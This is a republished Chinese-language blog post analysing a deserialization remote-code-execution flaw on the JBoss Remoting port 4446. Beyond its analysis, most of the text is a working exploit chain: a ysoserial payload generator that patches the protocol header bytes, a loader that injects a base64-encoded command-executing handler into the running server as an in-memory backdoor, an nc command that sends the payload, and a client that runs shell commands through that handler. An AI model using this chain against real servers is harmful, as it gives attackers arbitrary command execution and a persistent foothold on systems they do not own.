作者:Y4er
原文鏈接:https://y4er.com/post/jboss-4446-rce-and-rpc-echo-response/
看到推上發了jboss的0day rce,分析一下。
前言

這個洞是在國外Alligator Conference 2019會議上的一個議題,ppt在這里 https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf
議題中講到了jboss的4446端口反序列化rce,和一條jndi注入的gadget。
反序列化rce
jboss默認會開幾個端口
| 端口 | 狀態 | 目的 |
|---|---|---|
| 1098 | 啟用 | RMI 命名服務 |
| 3528 | 已禁用 | IANA 分配的 IIOP 端口 |
| 4444 | 啟用 | RMI JRMP 調用程序 |
| 4445 | 啟用 | RMI 池調用程序 |
| 4446 | 啟用 | 遠程服務器連接器 |
| 4447 | 啟用 | 遠程服務器連接器 |
| 4457 | 啟用 | 遠程服務器連接器 |
| 4712 | 啟用 | JBossTS 恢復管理器 |
| 4713 | 啟用 | JBossTS 事務狀態管理器 |
| 4714 | 啟用 | JBossTS 的進程 ID |
| 8080 | 啟用 | HTTP 連接器 |
| 8083 | 啟用 | RMI 類加載迷你 Web 服務器 |
| 8443 | 啟用 | JBossWS HTTPS 連接器套接字 |
其中4445端口有一個歷史RCE cve-2016-3690,是PooledInvokerServlet反序列化。

這次問題出在4446,這是個Remoting3端口,官網介紹看這里,看了看remoting3的文檔沒寫,可以先看2的文檔。
這是一個架構圖

直接向4446發送一些數據

明顯的aced0005,但是沒有其他的東西了,可能是對數據的解析進行了特殊處理,我們使用api來遠程調用一下。
創建一個maven項目,導入jboss remoting2的包,或者從 https://jbossremoting.jboss.org/downloads.html 直接下載jar包也行。
maven配置參考520師傅的
<dependency>
<groupId>org.jboss.remoting</groupId>
<artifactId>jboss-remoting</artifactId>
<version>2.5.4.SP5</version>
</dependency>
<dependency>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging</artifactId>
<version>3.3.0.Final</version>
</dependency>
<dependency>
<groupId>org.jboss</groupId>
<artifactId>jboss-common-core</artifactId>
<version>2.5.0.Final</version>
<exclusions>
<exclusion>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging-spi</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>concurrent</groupId>
<artifactId>concurrent</artifactId>
<version>1.3.4</version>
</dependency>

客戶端先發一個0xaced0005,服務端回復一個0xaced0005,然后客戶端發0x77011679…等。其中0x77011679分別表示
final static byte TC_BLOCKDATA = (byte)0x77;
final static byte SC_WRITE_METHOD = 0x01;
0x16 Protocol version 22
final static byte TC_RESET = (byte)0x79;

后面的東西就是payload了,所以我們只需要替換yso生成的payload的前四個字節。

4446和3873端?均可利?。
調試跟一下
在org.jboss.remoting.transport.socket.ServerThread#processInvocation中處理了0x16,讀出來協議版本為22

在org.jboss.remoting.transport.socket.ServerThread#versionedRead中會調用this.unmarshaller.read()

在read中調用java類型的原生反序列化org.jboss.remoting.serialization.impl.java.JavaSerializationManager#receiveObject

除了java以外還有別的

最后就進入了readObject

完整的堆棧
exec:348, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1185, ObjectStreamClass (java.io)
readSerialData:2319, ObjectInputStream (java.io)
readOrdinaryObject:2210, ObjectInputStream (java.io)
readObject0:1690, ObjectInputStream (java.io)
readObject:508, ObjectInputStream (java.io)
readObject:466, ObjectInputStream (java.io)
receiveObjectVersion2_2:238, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
receiveObject:138, JavaSerializationManager (org.jboss.remoting.serialization.impl.java)
read:123, SerializableUnMarshaller (org.jboss.remoting.marshal.serializable)
versionedRead:900, ServerThread (org.jboss.remoting.transport.socket)
completeInvocation:754, ServerThread (org.jboss.remoting.transport.socket)
processInvocation:744, ServerThread (org.jboss.remoting.transport.socket)
dorun:548, ServerThread (org.jboss.remoting.transport.socket)
run:234, ServerThread (org.jboss.remoting.transport.socket)
rpc調用
研究了一下jboss的remoting,可以寫一個類繼承自ServerInvocationHandler接口,通過classloader定義到jvm中,然后client查詢即可。
關于jboss remoting開發的可以直接看官方的sample,從這里下載
注冊ServerInvocationHandler可以調用org.jboss.remoting.ServerInvoker#addInvocationHandler函數,我們需要在線程中找到ServerInvoker的值反射獲取以此來動態添加handler。
調試來看在當前線程中就有handler所在的hashmap,所以我們只需要把我們的EvilHandler put進去就行了。

其中ASD就是我的handler
這里直接貼代碼,首先需要一個JbossInvocationHandler來執行命令。
package ysoserial.payloads.templates;
import org.jboss.remoting.InvocationRequest;
import org.jboss.remoting.ServerInvocationHandler;
import org.jboss.remoting.ServerInvoker;
import org.jboss.remoting.callback.InvokerCallbackHandler;
import javax.management.MBeanServer;
public class JbossInvocationHandler implements ServerInvocationHandler, Runnable {
@Override
public void run() {
}
@Override
public void setMBeanServer(MBeanServer mBeanServer) {
}
@Override
public void setInvoker(ServerInvoker serverInvoker) {
}
@Override
public Object invoke(InvocationRequest invocationRequest) throws Throwable {
String cmd = (String) invocationRequest.getParameter();
System.out.println("接收到命令:" + cmd);
String[] cmds = new String[]{"cmd", "/c", cmd};
if (!System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"bash", "-c", cmd};
}
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmds).getInputStream(), "gbk").useDelimiter("\\A");
return s.hasNext() ? s.next() : "no result";
}
@Override
public void addListener(InvokerCallbackHandler invokerCallbackHandler) {
}
@Override
public void removeListener(InvokerCallbackHandler invokerCallbackHandler) {
}
}
然后base64編碼用classloader加載
package ysoserial.payloads.templates;
import org.jboss.remoting.ServerInvocationHandler;
import org.jboss.remoting.transport.socket.ServerThread;
import org.jboss.remoting.transport.socket.SocketServerInvoker;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class Loader {
static {
try {
byte[] bytes = base64Decode("yv66vgAAADIAkAoAIABKCgBLAEwHAE0JAE4ATwcAUAoABQBKCABRCgAFAFIKAAUAUwoAVABVCAA3CABWCABXCgBOAFgKAAMAWQgAWgoAAwBbCABcCABdBwBeCgBfAGAKAF8AYQoAYgBjCABkCgAUAGUIAGYKABQAZwoAFABoCgAUAGkIAGoHAGsHAGwHAG0HAG4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdGVtcGxhdGVzL0pib3NzSW52b2NhdGlvbkhhbmRsZXI7AQADcnVuAQAOc2V0TUJlYW5TZXJ2ZXIBACEoTGphdmF4L21hbmFnZW1lbnQvTUJlYW5TZXJ2ZXI7KVYBAAttQmVhblNlcnZlcgEAHkxqYXZheC9tYW5hZ2VtZW50L01CZWFuU2VydmVyOwEACnNldEludm9rZXIBACUoTG9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZva2VyOylWAQANc2VydmVySW52b2tlcgEAIkxvcmcvamJvc3MvcmVtb3RpbmcvU2VydmVySW52b2tlcjsBAAZpbnZva2UBADooTG9yZy9qYm9zcy9yZW1vdGluZy9JbnZvY2F0aW9uUmVxdWVzdDspTGphdmEvbGFuZy9PYmplY3Q7AQARaW52b2NhdGlvblJlcXVlc3QBACZMb3JnL2pib3NzL3JlbW90aW5nL0ludm9jYXRpb25SZXF1ZXN0OwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAA1TdGFja01hcFRhYmxlBwBNBwA6BwBeAQAKRXhjZXB0aW9ucwcAbwEAC2FkZExpc3RlbmVyAQA3KExvcmcvamJvc3MvcmVtb3RpbmcvY2FsbGJhY2svSW52b2tlckNhbGxiYWNrSGFuZGxlcjspVgEAFmludm9rZXJDYWxsYmFja0hhbmRsZXIBADRMb3JnL2pib3NzL3JlbW90aW5nL2NhbGxiYWNrL0ludm9rZXJDYWxsYmFja0hhbmRsZXI7AQAOcmVtb3ZlTGlzdGVuZXIBAApTb3VyY2VGaWxlAQAbSmJvc3NJbnZvY2F0aW9uSGFuZGxlci5qYXZhDAAjACQHAHAMAHEAcgEAEGphdmEvbGFuZy9TdHJpbmcHAHMMAHQAdQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAS5o6l5pS25Yiw5ZG95Luk77yaDAB2AHcMAHgAeQcAegwAewB8AQACL2MBAAdvcy5uYW1lDAB9AH4MAH8AeQEAA3dpbgwAgACBAQAEYmFzaAEAAi1jAQARamF2YS91dGlsL1NjYW5uZXIHAIIMAIMAhAwAhQCGBwCHDACIAIkBAANnYmsMACMAigEAAlxBDACLAIwMAI0AjgwAjwB5AQAJbm8gcmVzdWx0AQAzeXNvc2VyaWFsL3BheWxvYWRzL3RlbXBsYXRlcy9KYm9zc0ludm9jYXRpb25IYW5kbGVyAQAQamF2YS9sYW5nL09iamVjdAEAKm9yZy9qYm9zcy9yZW1vdGluZy9TZXJ2ZXJJbnZvY2F0aW9uSGFuZGxlcgEAEmphdmEvbGFuZy9SdW5uYWJsZQEAE2phdmEvbGFuZy9UaHJvd2FibGUBACRvcmcvamJvc3MvcmVtb3RpbmcvSW52b2NhdGlvblJlcXVlc3QBAAxnZXRQYXJhbWV0ZXIBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALdG9Mb3dlckNhc2UBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAHaGFzTmV4dAEAAygpWgEABG5leHQAIQAfACAAAgAhACIAAAAHAAEAIwAkAAEAJQAAAC8AAQABAAAABSq3AAGxAAAAAgAmAAAABgABAAAACgAnAAAADAABAAAABQAoACkAAAABACoAJAABACUAAAArAAAAAQAAAAGxAAAAAgAmAAAABgABAAAADgAnAAAADAABAAAAAQAoACkAAAABACsALAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAEgAnAAAAFgACAAAAAQAoACkAAAAAAAEALQAuAAEAAQAvADAAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAABYAJwAAABYAAgAAAAEAKAApAAAAAAABADEAMgABAAEAMwA0AAIAJQAAAQkABAAFAAAAhCu2AALAAANNsgAEuwAFWbcABhIHtgAILLYACLYACbYACga9AANZAxILU1kEEgxTWQUsU04SDbgADrYADxIQtgARmgAWBr0AA1kDEhJTWQQSE1NZBSxTTrsAFFm4ABUttgAWtgAXEhi3ABkSGrYAGzoEGQS2AByZAAsZBLYAHacABRIesAAAAAMAJgAAAB4ABwAAABoACAAbACEAHAA0AB0ARAAeAFcAIABxACEAJwAAADQABQAAAIQAKAApAAAAAACEADUANgABAAgAfAA3ADgAAgA0AFAAOQA6AAMAcQATADsAPAAEAD0AAAAVAAP9AFcHAD4HAD/8ACkHAEBBBwA+AEEAAAAEAAEAQgABAEMARAABACUAAAA1AAAAAgAAAAGxAAAAAgAmAAAABgABAAAAJgAnAAAAFgACAAAAAQAoACkAAAAAAAEARQBGAAEAAQBHAEQAAQAlAAAANQAAAAIAAAABsQAAAAIAJgAAAAYAAQAAACoAJwAAABYAAgAAAAEAKAApAAAAAAABAEUARgABAAEASAAAAAIASQ==");
ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length);
Object instance = invoke.newInstance();
ServerThread serverThread = (ServerThread) Thread.currentThread();
Field invoker = serverThread.getClass().getDeclaredField("invoker");
invoker.setAccessible(true);
SocketServerInvoker invokeObj = (SocketServerInvoker) invoker.get(serverThread);
invokeObj.addInvocationHandler("Y4er", (ServerInvocationHandler) instance);
} catch (Throwable e) {
e.printStackTrace();
}
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
}
最后用CB183生成payload。
package ysoserial;
import com.google.common.io.Files;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang.ArrayUtils;
import ysoserial.payloads.CommonsBeanutils183NOCC;
import ysoserial.payloads.templates.JbossInvocationHandler;
import java.io.File;
import java.util.Arrays;
public class JbossRemoting {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(JbossInvocationHandler.class.getName());
String s = Base64.encodeBase64String(ctClass.toBytecode());
System.out.println(s);
Object calc = new CommonsBeanutils183NOCC().getObject("CLASS:Loader");
byte[] serialize = Serializer.serialize(calc);
byte[] aced = Arrays.copyOfRange(serialize, 0, 4);
byte[] range = Arrays.copyOfRange(serialize, 4, serialize.length);
byte[] bs = new byte[]{0x77, 0x01, 0x16, 0x79};
System.out.println(aced.length + range.length == serialize.length);
byte[] bytes = ArrayUtils.addAll(aced, bs);
bytes = ArrayUtils.addAll(bytes, range);
Files.write(bytes, new File("E:\\tools\\code\\ysoserial\\target\\payload.ser"));
}
}
然后nc發送
cat payload.ser |nc 127.0.0.1 4446|hexdump -C
然后新建一個client去執行命令
package org.jboss.remoting.samples.myclient;
import org.jboss.remoting.Client;
import org.jboss.remoting.InvokerLocator;
public class MyClient {
public static void main(String[] args) throws Throwable {
InvokerLocator locator = new InvokerLocator("socket://127.0.0.1:4446/");
Client client = new Client(locator);
client.setSubsystem("Y4er");
client.connect();
Object as = client.invoke("dir");
System.out.println(as);
client.disconnect();
}
}

jboss日志中

jndi注入
org.jboss.ejb3.mdb.ProducerManagerImpl#readExternal 很直觀

不詳細展開了
思考
jboss的rpc有多種傳輸方式,其內置了幾種反序列化方式,其他協議是否會有問題?
jboss的remoting挺有意思,看了官方sample,可以rmi、socket、http等多種方式調用,除了handler是否有其他的回顯方式?
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1891/
暫無評論